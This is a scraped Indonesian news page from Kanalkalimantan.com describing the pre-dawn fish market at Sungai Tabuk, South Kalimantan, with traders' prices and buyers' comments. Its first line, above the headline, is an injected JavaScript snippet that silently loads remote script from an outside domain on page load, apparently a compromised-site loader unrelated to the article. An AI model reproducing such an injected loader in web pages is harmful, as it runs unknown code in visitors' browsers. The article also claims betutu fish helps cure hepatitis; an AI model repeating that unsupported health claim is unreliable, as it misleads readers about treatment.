(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Perjalanan Autentik: Menyusuri Geliat Pasar Subuh di Sungai Tabuk


KANALALIMANTAN.COM, MARTAPURA – Meski malam masih merayapi dengan gelapnya dan hawa dingin menusuk hingga ke tulang, pemandangan menarik sudah terlihat di tepian Sungai Tabuk. Kurang lebih pukul 04.45 Wita, deretan perahu berlabuh di tepi sungai, sembari sekelompok pedagang dengan penuh semangat menyusun lapak mereka untuk menyambut Pasar Subuh, di Kecamatan Sungai Tabuk, Kabupaten Banjar, Kalimantan Selatan.

Ketika suara adzan subuh bergema dari Masjid Al Qudus Sungai Tabuk mengumumkan waktu untuk melaksanakan ibadah sholat. Akitfitas mereka berhenti sejenak . Begitu sholat usai, para pedagang ramai melayani sejumlah pembeli yang datang, baik yang berjalan kaki maupun menggunakan motor.

Meskipun penerangan masih terbatas, pada Rabu (16/08/2023) subuh itu, para pedagang nampak berupaya memberikan cahaya dengan senter kepala atau senter dari ponsel mereka. Suara riuh rendah dari tawar-menawar antara pedagang dan pembeli memberi sentuhan suana khas pasar tradisional.

Baca juga: Anggota Paskibra Kabupaten Kapuas Dikukuhkan

Terlihat para pedagang memajang berbagai jenis ikan segar hasil tangkapan alam, baik dari sungai maupun dari kolam, yang ditangkap dengan metode tradisional seperti lukah, tungkup, unjun pair, dan lainnya.

Di antara ikan-ikan yang tersaji, juga terlihat ikan nila, ikan Haruan (Gabus), ikan Pentet/lele (clarias), ikan puyau, ikan Baung, ikan Palmas Tali, ikan Blongoran (Betutu), ikan Patung, ikan Belut, dan Udang. Ragam ikan ini menjadi primadona para pembeli di Pasar Subuh.

Ardiansyah, salah seorang pedagang dan nelayan, menceritakan bahwa ia sudah berangkat dari rumahnya di Lokbaintan sejak pukul 04.00 wita, untuk turut serta dalam Pasar Subuh. Ikan yang dijualnya merupakan hasil tangkapan alam dari sungai.

Baca juga: Mantan Bupati HST Dituntut 6 Tahun Penjara, Uang Pengganti Rp41 Miliar

“Karena saat ini musim kemarau, ikan-ikan yang dibawanya lebih melimpah dua kali lipat dari biasanya. Ia menawarkan harga yang lebih terjangkau dibandingkan pasar-pasar lain.” Ujarnya.

Lebih jauh Ardiansyah menjelaskan bahwa harga ikan untuk dijual kembali lebih murah dibandingkan untuk konsumsi pribadi. Sebagai contoh, harga ikan gabus adalah Rp33.000,- per kilogram (untuk dijual kembali) dan Rp35.000,- per kilogram (untuk konsumsi pribadi). Meskipun demikian, keuntungan dari penjualan ikan ini sudah cukup untuk memenuhi kebutuhan sehari-hari dan membantu mendapatkan tambahan penghasilan.

Tidak hanya Ardiansyah, nelayan dan pedagang lainnya juga berdatangan dari berbagai kampung seperti Lokbaintan, Tatah Layung, Sungai Luluk, Sungai Pinang, Keliling Benteng, dan daerah-daerah pinggiran sungai lainnya. Semua mereka berusaha memanfaatkan pasar ini untuk mendapatkan tambahan penghasilan, meskipun beberapa di antara mereka baru memulai berjualan ikan selama tiga bulan.

Baca juga: Karhutla di Martapura Barat Hampir Bakar Tiga Rumah Warga

Para pembeli yang bervariasi. Salah satu di antaranya, Wartini, mengaku sering berbelanja di Pasar Subuh Sungai Tabuk karena harga ikan yang terjangkau untuk konsumsi pribadi. Di sisi lain, Fauzi, seorang pembeli lainnya, lebih memilih pasar ini karena lokasinya yang dekat dengan rumahnya di Sungai Rangas, dan ia juga dapat menjual kembali ikan-ikannya.

Jika Anda ke Pasar Subuh Sungai Tabuk, di pasar ini juga menawarkan jenis ikan yang unik, seperti Ikan Palmas Tali yang dapat dijadikan ikan hias dalam akuarium.

Ada pula ikan bakut/betutu (Oxyeleotris marmorata) yang memiliki banyak manfaat, seperti kandungan vitamin E yang bermanfaat untuk kulit dan berbagai nutrisi yang dapat meningkatkan vitalitas pria. Ikan ini juga diyakini dapat meningkatkan sistem imun tubuh dan membantu dalam penyembuhan beberapa penyakit seperti Hepatitis.

Baca juga: Intan Banjar Jadi Logo Geopark Meratus, Ini Makna Terkandung di Dalamnya

Dalam konteks yang lebih luas, ikan bakut/betutu juga memiliki potensi pasar di luar Kalimantan Selatan sebagai ikan asap dan produk ekspor. Secara perlahan, Pasar Subuh di Sungai Tabuk tidak hanya menjadi pusat aktivitas ekonomi, tetapi juga merefleksikan keanekaragaman ikan dan kekayaan alam sungai. (Kanalkalimantan.com/Nh)

Reporter : Nh
Editor : rdy


Risa

Recent Posts

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

11 menit ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

35 menit ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

59 menit ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

1 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

2 jam ago

PUPR Kalsel Gelar Pelatihan Peningkatan Kapasitas Administrator SIPJAKI

KANALKALIMANTAN.COM, BANJARBARU - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kalsel mengadakan Pelatihan Peningkatan Kapasitas… Read More

2 jam ago

This website uses cookies.